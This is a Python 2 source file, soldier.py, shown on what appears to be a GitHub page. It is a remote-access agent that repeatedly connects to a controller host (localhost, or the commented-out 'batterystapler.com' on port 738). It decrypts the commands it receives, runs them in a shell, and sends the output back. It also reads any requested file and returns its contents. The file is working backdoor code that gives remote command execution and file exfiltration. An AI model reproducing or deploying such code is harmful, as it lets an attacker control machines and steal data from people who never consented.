-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsoldier.py
59 lines (57 loc) · 1.83 KB
/
soldier.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import socket
import sys
from os import system,chdir
import commands
from time import sleep
from message import message
from encryption import Encrypter as enc
HOST,PORT = "localhost", 738
#HOST,PORT = "batterystapler.com", 738
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
get = message("get", "").getMessage()
data = get
while True:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
sock.sendall(data)
received = sock.recv(1024).strip()
command = enc.decrypt(received.split("\n")[0].strip())
print command,len(command)
if len(command) == 0:
sleep(.1)
data = get
else:
print command
first = command.split(" ")[0]
if first == "cd":
try:
chdir(" ".join(command.split(" ")[1:]))
except OSError as ose:
print ose
finally:
command = "pwd"
result = commands.getoutput(command)
mes = message(command, result)
data = mes.getMessage()
elif first == "getfile":
print "Received getfile"
filename = command.split(" ")[1]
try:
with open(filename, 'r') as infile:
result = infile.read()
except:
result = ""
mes = message(command, result)
data = mes.getMessage()
else:
result = commands.getoutput(command)
mes = message(command, result)
data = mes.getMessage()
print data
except socket.error as se:
print se
sleep(1)
finally:
sock.close()
sleep(.1)